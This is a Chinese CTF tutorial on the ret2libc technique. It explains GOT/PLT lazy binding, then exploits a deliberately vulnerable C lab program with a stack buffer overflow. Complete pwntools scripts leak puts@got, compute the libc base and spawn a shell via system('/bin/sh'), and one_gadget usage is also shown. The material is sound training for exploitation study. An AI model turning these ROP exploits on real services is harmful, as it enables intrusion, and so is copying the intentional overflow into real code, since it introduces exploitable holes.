%%本节前置:Stack-1, Stack-2-1, Stack-2-2-1%%
本节正式学习基础ROP的最后一种攻击手法ret2libc
。在Stack-2-2-1的学习中,我们学习了第一种利用手法ret2text
,本节所要介绍的攻击手法正是建立在ret2text
的基础上。在ret2text
的学习中,我们知道ret2text
一般需要程序存在后门函数才能利用。那么,当我们的程序不存在后门函数,并且没有可供我们ret2shellcode
的程序段,gadget的情况又不足以我们打ret2syscall
的时候,又该怎么利用呢?答案是ret2libc
,也就是本节所要介绍的内容。
技术梗概
ret2libc
,即return to libc,指控制程序执行流返回到C标准库中。
What is libc ?
- libc是Standard C library的简称,它是符合ANSI C标准的一个函数库。libc库提供C语言中所使用的宏,类型定义,字符串操作函数,数学计算函数以及输入输出函数等。正如ANSI C是C语言的标准一样,libc只是一种函数库标准,每个操作系统都会按照该标准对标准库进行具体实现
- 通常我们所说的libc是特指某个操作系统的标准库,比如我们在Linux操作系统下所说的libc即glibc。glibc是类Unix操作系统中使用最广泛的libc库,它的全称是GNU C Library。类Unix操作系统通常将libc库作为操作系统的一部分 (被视为操作系统与用户程序之间的接口)
简单来说,我们在C语言程序中所调用的一些没有被自定义的外部函数,通通储存在libc中。在动态链接的程序中,在加载程序的时候,为了调用这些外部函数,系统会把libc库加载到内存中,从而给了我们利用的机会。
How to use ?
在之前的学习中,我们三大攻击手法的首要目标都是Getshell。为了达成这一点,我们都调用了system("/bin/sh\x00")
或是exec("/bin/sh\x00", NULL, NULL)
。于是我们的目标就很明确了,我们Getshell所调用的system()
显然是一个外部函数,那么理应当存储在libc中,我们只需要找到内存中储存libc的这个函数的地址就好了。
延迟绑定机制
在具体介绍该项技术之前,我们要先了解Linux中调用外部函数的一个机制——延迟绑定
在计算机科学中,动态链接是一种在运行时将预编译的可执行代码(例如函数或模块)与主程序(调用代码)链接的过程。
在Linux系统中,动态链接主要依赖于两个重要的数据结构:全局偏移量表(GOT)和程序链接表(PLT)。这两个表在程序的运行时解析过程中起着至关重要的作用。
- 全局偏移量表
GOT
: 全局偏移量表(GOT)是一个在程序的数据段中的表,它存储了程序中所有需要动态链接的函数和变量的地址。当程序第一次调用一个动态链接的函数时,动态链接器会查找该函数在动态链接库中的地址,然后将这个地址存储在GOT表中的相应条目中。这样,当程序再次调用这个函数时,它就可以直接从GOT表中获取这个函数的地址,而不需要再次进行查找。 - 程序链接表
PLT
:程序链接表(PLT)是一个在程序的代码段中的表,它包含了一系列的跳转指令,这些指令用于跳转到GOT表中的相应条目。当程序需要调用一个动态链接的函数时,它会首先跳转到PLT表中的相应条目,然后通过这个条目跳转到GOT表中的相应条目,最后跳转到这个函数在动态链接库中的实际地址。
延迟绑定(也被称为惰性绑定)是一种优化技术,它可以延迟函数地址的解析过程,直到这个函数被实际调用为止。这种技术可以减少程序启动时的开销,并且可以使程序只解析那些实际需要的函数的地址。
在使用延迟绑定时,程序中的call指令会跳转到对应的PLT表项,然后PLT表项的第一条指令会跳转到GOT表中存放的地址。
也就是说,最终一个外部函数的真实地址就是GOT表中该函数的地址
技术详解
想要成功执行ret2libc
攻击,首先的第一要务:知道内存中Libc的存储地址,libc中的相关内容是通过偏移所寻找的,也就是说,程序通过基地址+函数对应的偏移量来定位一个外部函数。那么反过来,如果我们确定了libc的基地址,是不是就可以反过来确定所有libc函数的确切地址了? 如何确定?答案已经很明朗了。
泄露一个外部函数的got表地址!
譬如我们在Stack-2-1中演示的puts(puts@got)
ROP,就泄露出了puts()
这个外部函数的got表地址,从而我们通过公式
函数真实地址 = libc基地址 + 函数偏移量
反推出
libc基地址 = 函数真实地址 - 函数偏移量
从而,我们可以确定任意一个外部函数在程序中的真实地址。
所以,要泄露libc,要求
- 具有能打印内容的函数
- 程序是动态链接,并且存在外部函数
- 传参所用的gadgets齐全
我们用一个实验来详细理解ret2libc
的利用方式
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void gift()
{
asm("pop %rdi;ret;");
}
void vuln()
{
char buf[0x10];
puts("Welcome to Binary Lab!");
read(0, buf, 0x100);
}
int main()
{
vuln();
return 0;
}
用以下命令编译
gcc -fno-stack-protector -no-pie -z lazy -O0 Lab-s-2-4-1.c -o lab
程序依旧很简单,一个溢出点,但是没有任何后门,也没有供我们shellcode执行的权限,gadgets也不足以进行ret2syscall
。但是存在输出函数,显然进行ret2libc
。
Step-1 Leak libcbase
首先,我们要泄露libc基地址,在Stack-1-2中介绍过这种泄露手法,我们直接用plt表中的puts调用,去打印出puts@got
,然后计算libcbase即可。当然,我们泄露之后还要进行下一步攻击,所以我们布置如下的栈结构。
pop rdi
将栈上的puts@got
弹向rdi
,作为参数ret
弹出puts@plt
调用puts(puts@got)
puts
调用结束后返回地址弹出栈上的read_address
继续返回到溢出点,进行第二次溢出
执行完后,利用泄露出的puts
的真实地址计算出libcbase,进而计算出libc中的system函数地址和/bin/sh
字符串所在的地址。
构造如下payload
payload = cyclic(padding) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)
注意接收时
libc_base = u64(io.recv(6).ljust(8, b'\x00'))
泄露的EXP
from pwn import *
io = process("./lab")
libc = ELF("./libc.so.6")
elf = ELF("./lab")
pop_rdi = 0x40113a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_addr = 0x401156
padding = 0x18
payleak = cyclic(padding) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)
io.sendlineafter(b"Welcome to Binary Lab!\n", payleak)
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
log.success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success("libc_base: " + hex(libc_base))
应有如下输出
[+] Starting local process './lab': pid 6351
[*] '/home/K4per/CTF/PWN/LAB/Stack/Stack-2/ret2libc/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[*] '/home/K4per/CTF/PWN/LAB/Stack/Stack-2/ret2libc/lab'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
Stripped: No
[+] puts_addr: 0x711fb7a80e50
[+] libc_base: 0x711fb7a00000
Step-2 getshell
泄露出libc后,计算出libc中system()
和/bin/sh\x00
的位置
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search(b"/bin/sh").__next__()
⚠️此处的
.__next__()
,确保返回libc中第一个binsh的地址
直接打ROP即可,这里不再赘述,注意栈对齐。
完整EXP如下
from pwn import *
io = process("./lab")
libc = ELF("./libc.so.6")
elf = ELF("./lab")
pop_rdi = 0x40113a
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_addr = 0x40113F
ret_addr = 0x40101a
padding = 0x18
payleak = cyclic(padding) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_addr)
io.sendlineafter(b"Welcome to Binary Lab!\n", payleak)
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
log.success("puts_addr: " + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
log.success("libc_base: " + hex(libc_base))
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search(b"/bin/sh").__next__()
payload = cyclic(padding) + p64(ret_addr) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
io.sendlineafter(b"Welcome to Binary Lab!\n", payload)
io.interactive()
EZAttack —> one_gadgets
在泄露了libc之后,还有一种简便的手法可以让我们getshell,那就是one_gadget(简称ogg)
one_gadget是libc中存在的一些执行execve("/bin/sh", NULL, NULL)
的片段,当可以泄露libc地址,并且可以知道libc版本的时候,可以使用此方法来快速控制指令寄存器开启shell。
相比于system("/bin/sh")
,这种方式更加方便,不用控制RDI、RSI、RDX等参数。运用于不利构造参数的情况。
具体安装方法读者自行查阅,这里仅仅演示使用方法。
❯ one_gadget libc.so.6
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
此处给出的都是libc中存在的one_gadget
,在泄露出libc地址后,挨个枚举即可。
示例
one_gadget = 0xebd3f
payload = cyclic(padding) + p64(libc_base + one_gadget)
总结
本节我们学习了最后一种ROPret2libc
,至此我们四种基本ROP就已经学习完了,接下来就是练习,体会ROP的基本思想。
惯例,我们留下一道题作为作业。
极客大挑战2024-su~~~~